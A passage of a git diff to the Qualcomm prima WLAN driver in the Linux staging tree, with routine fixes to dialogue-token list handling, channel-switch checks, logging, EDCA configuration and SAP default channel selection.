+tSirRetStatus limSendRMCActionFrame(tpAniSirGlobal pMac, + tSirMacAddr peerMacAddr, tSirRMCInfo *pRMC, + tpPESession psessionEntry); +#endif /* WLAN_FEATURE_RMC */ + // Inline functions /** @@ -991,40 +1002,6 @@ limGetCurrentScanChannel(tpAniSirGlobal pMac) return (*(pChanNum + pMac->lim.gLimCurrentScanChannelId)); } /*** end limGetCurrentScanChannel() ***/ - - -/** - * limGetIElenFromBssDescription() - * - *FUNCTION: - * This function is called in various places to get IE length - * from tSirBssDescription structure - * number being scanned. - * - *PARAMS: - * - *LOGIC: - * - *ASSUMPTIONS: - * NA - * - *NOTE: - * NA - * - * @param pBssDescr - * @return Total IE length - */ - -static inline tANI_U16 -limGetIElenFromBssDescription(tpSirBssDescription pBssDescr) -{ - if (!pBssDescr) - return 0; - - return ((tANI_U16) (pBssDescr->length + sizeof(tANI_U16) + - sizeof(tANI_U32) - sizeof(tSirBssDescription))); -} /*** end limGetIElenFromBssDescription() ***/ - /** * limSendBeaconInd() * diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c index a1c94e67ede14..f8c315a8cf09c 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2016. The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -164,53 +164,52 @@ limSearchAndDeleteDialogueToken(tpAniSirGlobal pMac, tANI_U8 token, tANI_U16 ass tpDialogueToken pCurrNode = pMac->lim.pDialogueTokenHead; tpDialogueToken pPrevNode = pMac->lim.pDialogueTokenHead; - //if the list is empty + /* if the list is empty */ if(NULL == pCurrNode) return eSIR_FAILURE; - // if the matching node is the first node. - if(pCurrNode && + /* If the matching node is the first node.*/ + if ((token == pCurrNode->token) && (assocId == pCurrNode->assocId) && - (tid == pCurrNode->tid)) - { - pMac->lim.pDialogueTokenHead = pCurrNode->next; - //there was only one node in the list. So tail pointer also needs to be adjusted. - if(NULL == pMac->lim.pDialogueTokenHead) + (tid == pCurrNode->tid)) { + pMac->lim.pDialogueTokenHead = pCurrNode->next; + /* There was only one node in the list. + * So tail pointer also needs to be adjusted. + */ + if (NULL == pMac->lim.pDialogueTokenHead) pMac->lim.pDialogueTokenTail = NULL; vos_mem_free(pCurrNode); - pMac->lim.pDialogueTokenHead = NULL; return eSIR_SUCCESS; } - //first node did not match. so move to the next one. + /* first node did not match. so move to the next one. */ pCurrNode = pCurrNode->next; - while(NULL != pCurrNode ) - { - if(token == pCurrNode->token) - { - break; - } + while (NULL != pCurrNode) { + if ((token == pCurrNode->token) && + (assocId == pCurrNode->assocId) && + (tid == pCurrNode->tid)) { + break; + } pPrevNode = pCurrNode; pCurrNode = pCurrNode->next; } - if(pCurrNode && - (assocId == pCurrNode->assocId) && - (tid == pCurrNode->tid)) - { + if (pCurrNode) { pPrevNode->next = pCurrNode->next; - //if the node being deleted is the last one then we also need to move the tail pointer to the prevNode. + /* if the node being deleted is the last one + * then we also need to move the tail pointer + * to the prevNode. + */ if(NULL == pCurrNode->next) pMac->lim.pDialogueTokenTail = pPrevNode; vos_mem_free(pCurrNode); - pMac->lim.pDialogueTokenHead = NULL; return eSIR_SUCCESS; } - PELOGW(limLog(pMac, LOGW, FL("LIM does not have matching dialogue token node"));) + limLog(pMac, LOGW, + FL("LIM does not have matching dialogue token node")); return eSIR_FAILURE; - } @@ -1399,9 +1398,15 @@ tANI_U8 limWriteDeferredMsgQ(tpAniSirGlobal pMac, tpSirMsgQ limMsg) **/ if (pMac->lim.gLimDeferredMsgQ.size >= MAX_DEFERRED_QUEUE_LEN) { - if(!(pMac->lim.deferredMsgCnt & 0xF)) + if (!(pMac->lim.deferredMsgCnt & 0xF)) { - PELOGE(limLog(pMac, LOGE, FL("Deferred Message Queue is full. Msg:%d Messages Failed:%d"), limMsg->type, ++pMac->lim.deferredMsgCnt);) + limLog(pMac, LOGE, + FL("Deferred Message Queue is full. Msg:%d Messages Failed:%d"), + limMsg->type, ++pMac->lim.deferredMsgCnt); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_NON_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_QUEUE_FULL, + FALSE, TRUE); } else { @@ -2586,9 +2591,9 @@ void limProcessChannelSwitchTimeout(tpAniSirGlobal pMac) tpPESession psessionEntry = NULL; tANI_U8 channel; // This is received and stored from channelSwitch Action frame - if((psessionEntry = peFindSessionBySessionId(pMac, pMac->lim.limTimers.gLimChannelSwitchTimer.sessionId))== NULL) - { - limLog(pMac, LOGP,FL("Session Does not exist for given sessionID")); + if ((psessionEntry = peFindSessionBySessionId(pMac, + pMac->lim.limTimers.gLimChannelSwitchTimer.sessionId))== NULL) { + limLog(pMac, LOGW,FL("Session Does not exist for given sessionID")); return; } @@ -2597,6 +2602,13 @@ void limProcessChannelSwitchTimeout(tpAniSirGlobal pMac) PELOGW(limLog(pMac, LOGW, "Channel switch can be done only in STA role, Current Role = %d", psessionEntry->limSystemRole);) return; } + if (psessionEntry->gLimSpecMgmt.dot11hChanSwState != + eLIM_11H_CHANSW_RUNNING) { + limLog(pMac, LOGW, + FL("Channel switch timer should not have been running in state %d"), + psessionEntry->gLimSpecMgmt.dot11hChanSwState); + return; + } channel = psessionEntry->gLimChannelSwitch.primaryChannel; /* @@ -2660,9 +2672,14 @@ void limProcessChannelSwitchTimeout(tpAniSirGlobal pMac) * then we cannot switch the channel. Just disassociate from AP. * We will find a better AP !!! */ - limTearDownLinkWithAp(pMac, + if ((psessionEntry->limMlmState == eLIM_MLM_LINK_ESTABLISHED_STATE) && + (psessionEntry->limSmeState != eLIM_SME_WT_DISASSOC_STATE)&& + (psessionEntry->limSmeState != eLIM_SME_WT_DEAUTH_STATE)) { + limLog(pMac, LOGE, FL("Invalid channel!! Disconnect..")); + limTearDownLinkWithAp(pMac, pMac->lim.limTimers.gLimChannelSwitchTimer.sessionId, eSIR_MAC_UNSPEC_FAILURE_REASON); + } return; } limCovertChannelScanType(pMac, psessionEntry->currentOperChannel, false); @@ -3422,6 +3439,11 @@ void limSwitchPrimarySecondaryChannel(tpAniSirGlobal pMac, tpPESession psessionE limSendSwitchChnlParams(pMac, newChannel, subband, (tPowerdBm)localPwrConstraint, psessionEntry->peSessionId); #endif +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_CHANNEL_SWITCH_ANOUNCEMENT, + psessionEntry, eSIR_SUCCESS, LIM_SWITCH_CHANNEL_OPERATION); +#endif + // Store the new primary and secondary channel in session entries if different if (psessionEntry->currentOperChannel != newChannel) { @@ -5716,9 +5738,12 @@ limProcessAddBaInd(tpAniSirGlobal pMac, tpSirMsgQ limMsg) if((eBA_DISABLE == pSta->tcCfg[tid].fUseBATx) && (pBaCandidate->baInfo[tid].fBaEnable)) { - limLog(pMac, LOGE, FL("BA setup for staId = %d, TID: %d, SSN: %d"), - pSta->staIndex, tid, pBaCandidate->baInfo[tid].startingSeqNum); - limPostMlmAddBAReq(pMac, pSta, tid, pBaCandidate->baInfo[tid].startingSeqNum,psessionEntry); + limLog(pMac, LOG1, + FL("BA setup for staId = %d, TID: %d, SSN: %d"), + pSta->staIndex, tid, + pBaCandidate->baInfo[tid].startingSeqNum); + limPostMlmAddBAReq(pMac, pSta, tid, + pBaCandidate->baInfo[tid].startingSeqNum,psessionEntry); } } } @@ -8540,3 +8565,55 @@ bool lim_is_robust_mgmt_action_frame(uint8 action_catagory) } return false; } + +/** + * lim_compute_ext_cap_ie_length - compute the length of ext cap ie + * based on the bits set + * @ext_cap: extended IEs structure + * + * Return: length of the ext cap ie, 0 means should not present + */ +tANI_U8 lim_compute_ext_cap_ie_length (tDot11fIEExtCap *ext_cap) { + tANI_U8 i = DOT11F_IE_EXTCAP_MAX_LEN; + + while (i) { + if (ext_cap->bytes[i-1]) { + break; + } + i --; + } + + return i; +} + +/** + * lim_update_caps_info_for_bss - Update capability info for this BSS + * + * @mac_ctx: mac context + * @caps: Pointer to capability info to be updated + * @bss_caps: Capability info of the BSS + * + * Update the capability info in Assoc/Reassoc request frames and reset + * the spectrum management, short preamble, immediate block ack bits + * if the BSS doesnot support it + * + * Return: None + */ +void lim_update_caps_info_for_bss(tpAniSirGlobal mac_ctx, + uint16_t *caps, uint16_t bss_caps) +{ + if (!(bss_caps & LIM_SPECTRUM_MANAGEMENT_BIT_MASK)) { + *caps &= (~LIM_SPECTRUM_MANAGEMENT_BIT_MASK); + limLog(mac_ctx, LOG1, FL("Clearing spectrum management:no AP support")); + } + + if (!(bss_caps & LIM_SHORT_PREAMBLE_BIT_MASK)) { + *caps &= (~LIM_SHORT_PREAMBLE_BIT_MASK); + limLog(mac_ctx, LOG1, FL("Clearing short preamble:no AP support")); + } + + if (!(bss_caps & LIM_IMMEDIATE_BLOCK_ACK_MASK)) { + *caps &= (~LIM_IMMEDIATE_BLOCK_ACK_MASK); + limLog(mac_ctx, LOG1, FL("Clearing Immed Blk Ack:no AP support")); + } +} diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h index 6a2a9b209c8ef..622774aceb55d 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limUtils.h @@ -439,7 +439,7 @@ typedef enum WLAN_PE_DIAG_REASSOC_REQ_EVENT, WLAN_PE_DIAG_REASSOC_RSP_EVENT, WLAN_PE_DIAG_AUTH_REQ_EVENT, - WLAN_PE_DIAG_AUTH_RSP_EVENT, + WLAN_PE_DIAG_AUTH_RSP_EVENT = 10, WLAN_PE_DIAG_DISASSOC_REQ_EVENT, WLAN_PE_DIAG_DISASSOC_RSP_EVENT, WLAN_PE_DIAG_DISASSOC_IND_EVENT, @@ -449,7 +449,7 @@ typedef enum WLAN_PE_DIAG_DEAUTH_IND_EVENT, WLAN_PE_DIAG_START_BSS_REQ_EVENT, WLAN_PE_DIAG_START_BSS_RSP_EVENT, - WLAN_PE_DIAG_AUTH_IND_EVENT, + WLAN_PE_DIAG_AUTH_IND_EVENT = 20, WLAN_PE_DIAG_ASSOC_IND_EVENT, WLAN_PE_DIAG_ASSOC_CNF_EVENT, WLAN_PE_DIAG_REASSOC_IND_EVENT, @@ -459,7 +459,7 @@ typedef enum WLAN_PE_DIAG_STOP_BSS_RSP_EVENT, WLAN_PE_DIAG_DEAUTH_CNF_EVENT, WLAN_PE_DIAG_ADDTS_REQ_EVENT, - WLAN_PE_DIAG_ADDTS_RSP_EVENT, + WLAN_PE_DIAG_ADDTS_RSP_EVENT = 30, WLAN_PE_DIAG_DELTS_REQ_EVENT, WLAN_PE_DIAG_DELTS_RSP_EVENT, WLAN_PE_DIAG_DELTS_IND_EVENT, @@ -469,7 +469,7 @@ typedef enum WLAN_PE_DIAG_EXIT_BMPS_RSP_EVENT, WLAN_PE_DIAG_EXIT_BMPS_IND_EVENT, WLAN_PE_DIAG_ENTER_IMPS_REQ_EVENT, - WLAN_PE_DIAG_ENTER_IMPS_RSP_EVENT, + WLAN_PE_DIAG_ENTER_IMPS_RSP_EVENT = 40, WLAN_PE_DIAG_EXIT_IMPS_REQ_EVENT, WLAN_PE_DIAG_EXIT_IMPS_RSP_EVENT, WLAN_PE_DIAG_ENTER_UAPSD_REQ_EVENT, @@ -479,7 +479,7 @@ typedef enum WLAN_PE_DIAG_WOWL_ADD_BCAST_PTRN_EVENT, WLAN_PE_DIAG_WOWL_DEL_BCAST_PTRN_EVENT, WLAN_PE_DIAG_ENTER_WOWL_REQ_EVENT, - WLAN_PE_DIAG_ENTER_WOWL_RSP_EVENT, + WLAN_PE_DIAG_ENTER_WOWL_RSP_EVENT = 50, WLAN_PE_DIAG_EXIT_WOWL_REQ_EVENT, WLAN_PE_DIAG_EXIT_WOWL_RSP_EVENT, WLAN_PE_DIAG_HAL_ADDBA_REQ_EVENT, @@ -489,8 +489,23 @@ typedef enum WLAN_PE_DIAG_PRE_AUTH_REQ_EVENT, WLAN_PE_DIAG_PRE_AUTH_RSP_EVENT, WLAN_PE_DIAG_PREAUTH_DONE, - WLAN_PE_DIAG_REASSOCIATING, + WLAN_PE_DIAG_REASSOCIATING = 60, WLAN_PE_DIAG_CONNECTED, + WLAN_PE_DIAG_ASSOC_REQ_EVENT, + WLAN_PE_DIAG_AUTH_COMP_EVENT, + WLAN_PE_DIAG_ASSOC_COMP_EVENT, + WLAN_PE_DIAG_AUTH_START_EVENT, + WLAN_PE_DIAG_ASSOC_START_EVENT, + WLAN_PE_DIAG_REASSOC_START_EVENT, + WLAN_PE_DIAG_ROAM_AUTH_START_EVENT, + WLAN_PE_DIAG_ROAM_AUTH_COMP_EVENT, + WLAN_PE_DIAG_ROAM_ASSOC_START_EVENT = 70, + WLAN_PE_DIAG_ROAM_ASSOC_COMP_EVENT, + WLAN_PE_DIAG_SCAN_COMP_EVENT, + WLAN_PE_DIAG_SCAN_RES_FOUND_EVENT, + WLAN_PE_DIAG_ROAM_REQUESTED, + WLAN_PE_DIAG_CHANNEL_SWITCH_ANOUNCEMENT, + WLAN_PE_DIAG_ROAM_CANDIDATE_FOUND, }WLAN_PE_DIAG_EVENT_TYPE; void limDiagEventReport(tpAniSirGlobal pMac, tANI_U16 eventType, tpPESession pSessionEntry, tANI_U16 status, tANI_U16 reasonCode); @@ -559,5 +574,8 @@ void limDecrementPendingMgmtCount (tpAniSirGlobal pMac); eHalStatus limTxBdComplete(tpAniSirGlobal pMac, void *pData); bool lim_is_robust_mgmt_action_frame(uint8 action_catagory); +tANI_U8 lim_compute_ext_cap_ie_length (tDot11fIEExtCap *ext_cap); +void lim_update_caps_info_for_bss(tpAniSirGlobal mac_ctx, + uint16_t *caps, uint16_t bss_caps); #endif /* __LIM_UTILS_H */ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/pmm/pmmApi.c b/drivers/staging/prima/CORE/MAC/src/pe/pmm/pmmApi.c index cf537ad9f2762..21ac26cb2d766 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/pmm/pmmApi.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/pmm/pmmApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -275,7 +275,7 @@ void pmmInitBmpsResponseHandler(tpAniSirGlobal pMac, tpSirMsgQ limMsg ) { if(VOS_TRUE != tx_timer_running(&pMac->lim.limTimers.gLimHeartBeatTimer)) { - PELOGE(pmmLog(pMac, LOGE, FL("Unexpected heartbeat timer not running"));) + PELOGE(pmmLog(pMac, LOGW, FL("Unexpected heartbeat timer not running"));) limReactivateHeartBeatTimer(pMac, psessionEntry); } } diff --git a/drivers/staging/prima/CORE/MAC/src/pe/sch/schApi.c b/drivers/staging/prima/CORE/MAC/src/pe/sch/schApi.c index 45b4e1c5d0a14..c9c8ef45f8eb1 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/sch/schApi.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/sch/schApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -353,6 +353,7 @@ tSirRetStatus schSendBeaconReq( tpAniSirGlobal pMac, tANI_U8 *beaconPayload, tAN && (pMac->sch.schObject.fBeaconChanged) && ((psessionEntry->proxyProbeRspEn) || (IS_FEATURE_SUPPORTED_BY_FW(WPS_PRBRSP_TMPL))) + && vos_is_probe_rsp_offload_enabled() ) { diff --git a/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconGen.c b/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconGen.c index 8def5f3a89f7d..0fc798995ae42 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconGen.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconGen.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -276,6 +276,7 @@ tSirRetStatus schSetFixedBeaconFields(tpAniSirGlobal pMac,tpPESession psessionEn if((psessionEntry->limSystemRole == eLIM_AP_ROLE) && ((psessionEntry->proxyProbeRspEn) || (IS_FEATURE_SUPPORTED_BY_FW(WPS_PRBRSP_TMPL))) + && vos_is_probe_rsp_offload_enabled() ) { /* Initialize the default IE bitmap to zero */ @@ -285,9 +286,15 @@ tSirRetStatus schSetFixedBeaconFields(tpAniSirGlobal pMac,tpPESession psessionEn vos_mem_set(( tANI_U8* )&(psessionEntry->probeRespFrame), sizeof(psessionEntry->probeRespFrame), 0); - /* Can be efficiently updated whenever new IE added in Probe response in future */ - limUpdateProbeRspTemplateIeBitmapBeacon1(pMac,pBcn1,&psessionEntry->DefProbeRspIeBitmap[0], - &psessionEntry->probeRespFrame); + /* Can be efficiently updated whenever new IE added + * in Probe response in future + */ + if (limUpdateProbeRspTemplateIeBitmapBeacon1(pMac, pBcn1, + psessionEntry) != eSIR_SUCCESS) + { + schLog(pMac, LOGE, + FL("Failed to build ProbeRsp template")); + } } nStatus = dot11fPackBeacon1( pMac, pBcn1, ptr, @@ -420,6 +427,7 @@ tSirRetStatus schSetFixedBeaconFields(tpAniSirGlobal pMac,tpPESession psessionEn if((psessionEntry->limSystemRole == eLIM_AP_ROLE) && ((psessionEntry->proxyProbeRspEn) || (IS_FEATURE_SUPPORTED_BY_FW(WPS_PRBRSP_TMPL))) + && vos_is_probe_rsp_offload_enabled() ) { /* Can be efficiently updated whenever new IE added in Probe response in future */ @@ -504,11 +512,21 @@ tSirRetStatus schSetFixedBeaconFields(tpAniSirGlobal pMac,tpPESession psessionEn return eSIR_SUCCESS; } -void limUpdateProbeRspTemplateIeBitmapBeacon1(tpAniSirGlobal pMac, +tSirRetStatus limUpdateProbeRspTemplateIeBitmapBeacon1(tpAniSirGlobal pMac, tDot11fBeacon1* beacon1, - tANI_U32* DefProbeRspIeBitmap, - tDot11fProbeResponse* prb_rsp) + tpPESession psessionEntry) { + tANI_U32* DefProbeRspIeBitmap; + tDot11fProbeResponse* prb_rsp; + + if (!psessionEntry) { + schLog(pMac, LOGE, FL("PESession is null!")); + return eSIR_FAILURE; + } + + DefProbeRspIeBitmap = &psessionEntry->DefProbeRspIeBitmap[0]; + prb_rsp = &psessionEntry->probeRespFrame; + prb_rsp->BeaconInterval = beacon1->BeaconInterval; vos_mem_copy((void *)&prb_rsp->Capabilities, (void *)&beacon1->Capabilities, sizeof(beacon1->Capabilities)); @@ -517,8 +535,10 @@ void limUpdateProbeRspTemplateIeBitmapBeacon1(tpAniSirGlobal pMac, if(beacon1->SSID.present) { SetProbeRspIeBitmap(DefProbeRspIeBitmap,SIR_MAC_SSID_EID); - /* populating it, because probe response has to go with SSID even in hidden case */ - PopulateDot11fSSID2( pMac, &prb_rsp->SSID ); + /* populating it, because probe response has to go with + * SSID even in hidden case + */ + PopulateDot11fSSID(pMac, &psessionEntry->ssId, &prb_rsp->SSID); } /* supported rates */ if(beacon1->SuppRates.present) @@ -538,6 +558,8 @@ void limUpdateProbeRspTemplateIeBitmapBeacon1(tpAniSirGlobal pMac, } /* IBSS params will not be present in the Beacons transmitted by AP */ + + return eSIR_SUCCESS; } void limUpdateProbeRspTemplateIeBitmapBeacon2(tpAniSirGlobal pMac, diff --git a/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconProcess.c b/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconProcess.c index 6687aec608c70..8d3483b49ca87 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconProcess.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/sch/schBeaconProcess.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -337,7 +337,7 @@ static void __schBeaconProcessForSession( tpAniSirGlobal pMac, tUpdateBeaconParams beaconParams; tANI_U8 sendProbeReq = FALSE; tpDphHashNode pStaDs = NULL; - tANI_U32 channelBondingMode; + tANI_U32 channelBondingMode = 0; #ifdef WLAN_FEATURE_11AC tpSirMacMgmtHdr pMh = WDA_GET_RX_MAC_HEADER(pRxPacketInfo); tANI_U16 aid; @@ -829,14 +829,43 @@ tSirRetStatus schBeaconEdcaProcess(tpAniSirGlobal pMac, tSirMacEdcaParamSetIE *e vos_log_qos_edca_pkt_type *log_ptr = NULL; #endif //FEATURE_WLAN_DIAG_SUPPORT - PELOG1(schLog(pMac, LOG1, FL("Updating parameter set count: Old %d ---> new %d"), - psessionEntry->gLimEdcaParamSetCount, edca->qosInfo.count);) + schLog(pMac, LOG2, FL("Updating parameter set count: Old %d ---> new %d"), + psessionEntry->gLimEdcaParamSetCount, edca->qosInfo.count); psessionEntry->gLimEdcaParamSetCount = edca->qosInfo.count; psessionEntry->gLimEdcaParams[EDCA_AC_BE] = edca->acbe; psessionEntry->gLimEdcaParams[EDCA_AC_BK] = edca->acbk; psessionEntry->gLimEdcaParams[EDCA_AC_VI] = edca->acvi; psessionEntry->gLimEdcaParams[EDCA_AC_VO] = edca->acvo; + + if (pMac->roam.configParam.enable_edca_params) { + psessionEntry->gLimEdcaParams[EDCA_AC_VO].aci.aifsn = + pMac->roam.configParam.edca_vo_aifs; + psessionEntry->gLimEdcaParams[EDCA_AC_VI].aci.aifsn = + pMac->roam.configParam.edca_vi_aifs; + psessionEntry->gLimEdcaParams[EDCA_AC_BK].aci.aifsn = + pMac->roam.configParam.edca_bk_aifs; + psessionEntry->gLimEdcaParams[EDCA_AC_BE].aci.aifsn = + pMac->roam.configParam.edca_be_aifs; + + psessionEntry->gLimEdcaParams[EDCA_AC_VO].cw.min = + pMac->roam.configParam.edca_vo_cwmin; + psessionEntry->gLimEdcaParams[EDCA_AC_VI].cw.min = + pMac->roam.configParam.edca_vi_cwmin; + psessionEntry->gLimEdcaParams[EDCA_AC_BK].cw.min = + pMac->roam.configParam.edca_bk_cwmin; + psessionEntry->gLimEdcaParams[EDCA_AC_BE].cw.min = + pMac->roam.configParam.edca_be_cwmin; + + psessionEntry->gLimEdcaParams[EDCA_AC_VO].cw.max = + pMac->roam.configParam.edca_vo_cwmax; + psessionEntry->gLimEdcaParams[EDCA_AC_VI].cw.max = + pMac->roam.configParam.edca_vi_cwmax; + psessionEntry->gLimEdcaParams[EDCA_AC_BK].cw.max = + pMac->roam.configParam.edca_bk_cwmax; + psessionEntry->gLimEdcaParams[EDCA_AC_BE].cw.max = + pMac->roam.configParam.edca_be_cwmax; + } //log: LOG_WLAN_QOS_EDCA_C #ifdef FEATURE_WLAN_DIAG_SUPPORT WLAN_VOS_DIAG_LOG_ALLOC(log_ptr, vos_log_qos_edca_pkt_type, LOG_WLAN_QOS_EDCA_C); @@ -861,16 +890,18 @@ tSirRetStatus schBeaconEdcaProcess(tpAniSirGlobal pMac, tSirMacEdcaParamSetIE *e } WLAN_VOS_DIAG_LOG_REPORT(log_ptr); #endif //FEATURE_WLAN_DIAG_SUPPORT - PELOG1(schLog(pMac, LOGE, FL("Updating Local EDCA Params(gLimEdcaParams) to: "));) + schLog(pMac, LOG1, + FL("edsa param enabled in ini %d. Updating Local EDCA Params(gLimEdcaParams) to: "), + pMac->roam.configParam.enable_edca_params); for(i=0; igLimEdcaParams[i].aci.aifsn, psessionEntry->gLimEdcaParams[i].aci.acm, psessionEntry->gLimEdcaParams[i].cw.min, psessionEntry->gLimEdcaParams[i].cw.max, - psessionEntry->gLimEdcaParams[i].txoplimit);) + psessionEntry->gLimEdcaParams[i].txoplimit); } return eSIR_SUCCESS; diff --git a/drivers/staging/prima/CORE/SAP/inc/sapApi.h b/drivers/staging/prima/CORE/SAP/inc/sapApi.h index 1d935d02dbf33..0da7bbc2045a6 100644 --- a/drivers/staging/prima/CORE/SAP/inc/sapApi.h +++ b/drivers/staging/prima/CORE/SAP/inc/sapApi.h @@ -285,7 +285,8 @@ typedef struct sap_StationAssocReassocCompleteEvent_s { tANI_U32 assocReqLength; tANI_U8* assocReqPtr; tANI_U32 assocRespLength; - tANI_U8* assocRespPtr; + tANI_U8* assocRespPtr; + uint32_t rate_flags; } tSap_StationAssocReassocCompleteEvent; typedef struct sap_StationDisassocCompleteEvent_s { diff --git a/drivers/staging/prima/CORE/SAP/src/sapApiLinkCntl.c b/drivers/staging/prima/CORE/SAP/src/sapApiLinkCntl.c index e5447cfdce4ea..a0234c68eac7e 100644 --- a/drivers/staging/prima/CORE/SAP/src/sapApiLinkCntl.c +++ b/drivers/staging/prima/CORE/SAP/src/sapApiLinkCntl.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -128,6 +128,16 @@ void sapSetOperatingChannel(ptSapContext psapContext, v_U8_t operChannel) { v_U8_t i = 0; v_U32_t event; + tHalHandle hHal = NULL; + uint32_t operating_band = 0; + + hHal = VOS_GET_HAL_CB(psapContext->pvosGCtx); + if (NULL == hHal) + { + VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, + "hHal is NULL in %s", __func__); + return; + } VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO, FL("SAP Channel : %d"), psapContext->channel); @@ -143,7 +153,7 @@ void sapSetOperatingChannel(ptSapContext psapContext, v_U8_t operChannel) { if(psapContext->channelList != NULL) { - psapContext->channel = SAP_DEFAULT_CHANNEL; + psapContext->channel = SAP_CHANNEL_NOT_SELECTED; for ( i = 0 ; i < psapContext->numofChannel ; i++) { if (NV_CHANNEL_ENABLE == @@ -154,13 +164,41 @@ void sapSetOperatingChannel(ptSapContext psapContext, v_U8_t operChannel) } } } - else + + /* + * In case if channel is not selected then channel + * to be selected based on band configured in .ini + */ + if (!psapContext->channel) { - /* if the channel list is empty then there is no valid channel - in the selected sub-band so select default channel in the - BAND(2.4GHz) as 2.4 channels are available in all the - countries*/ - psapContext->channel = SAP_DEFAULT_CHANNEL; + ccmCfgGetInt(hHal, WNI_CFG_SAP_CHANNEL_SELECT_OPERATING_BAND, + &operating_band); + if (operating_band == eSAP_RF_SUBBAND_5_LOW_GHZ || + operating_band == eSAP_RF_SUBBAND_5_MID_GHZ || + operating_band == eSAP_RF_SUBBAND_5_HIGH_GHZ) + { + VOS_TRACE(VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO, + FL("Default channel selection from band %d"), + operating_band); + + (operating_band == eSAP_RF_SUBBAND_5_LOW_GHZ) ? + (psapContext->channel = + SAP_DEFAULT_LOW_5GHZ_CHANNEL) : + (operating_band == eSAP_RF_SUBBAND_5_MID_GHZ) ? + (psapContext->channel = + SAP_DEFAULT_MID_5GHZ_CHANNEL) : + (operating_band == eSAP_RF_SUBBAND_5_HIGH_GHZ) ? + (psapContext->channel = + SAP_DEFAULT_HIGH_5GHZ_CHANNEL) : 0; + + VOS_TRACE(VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO, + FL("channel selected to start bss %d"), + psapContext->channel); + } + else + { + psapContext->channel = SAP_DEFAULT_24GHZ_CHANNEL; + } } } else @@ -179,7 +217,7 @@ void sapSetOperatingChannel(ptSapContext psapContext, v_U8_t operChannel) } } #else - psapContext->channel = SAP_DEFAULT_CHANNEL; + psapContext->channel = SAP_DEFAULT_24GHZ_CHANNEL; #endif else { @@ -827,8 +865,7 @@ eHalStatus sapCheck40Mhz24G(tHalHandle halHandle, ptSapContext psapCtx, if ((pScanResult->BssDescriptor.ieFields != NULL)) { - ieLen = (pScanResult->BssDescriptor.length + sizeof(tANI_U16)); - ieLen += (sizeof(tANI_U32) - sizeof(tSirBssDescription)); + ieLen = GET_IE_LEN_IN_BSS(pScanResult->BssDescriptor.length); vos_mem_set((tANI_U8 *) pBeaconStruct, sizeof(tSirProbeRespBeacon), 0); @@ -1389,6 +1426,7 @@ WLANSAP_RoamCallback #endif break; + case eCSR_ROAM_RESULT_DEAUTH_IND: case eCSR_ROAM_RESULT_DISASSOC_IND: VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO_HIGH, FL("CSR roamResult = %s (%d)"), @@ -1405,23 +1443,6 @@ WLANSAP_RoamCallback } break; - case eCSR_ROAM_RESULT_DEAUTH_IND: - VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO_HIGH, - FL("CSR roamResult = %s (%d)"), - "eCSR_ROAM_RESULT_DEAUTH_IND", - roamResult); -#ifdef WLAN_FEATURE_AP_HT40_24G - sapRemoveHT40IntolerantSta(sapContext, pCsrRoamInfo); -#endif - /* Fill in the event structure */ - //TODO: we will use the same event inorder to inform HDD to disassociate the station - vosStatus = sapSignalHDDevent( sapContext, pCsrRoamInfo, eSAP_STA_DISASSOC_EVENT, (v_PVOID_t)eSAP_STATUS_SUCCESS); - if(!VOS_IS_STATUS_SUCCESS(vosStatus)) - { - 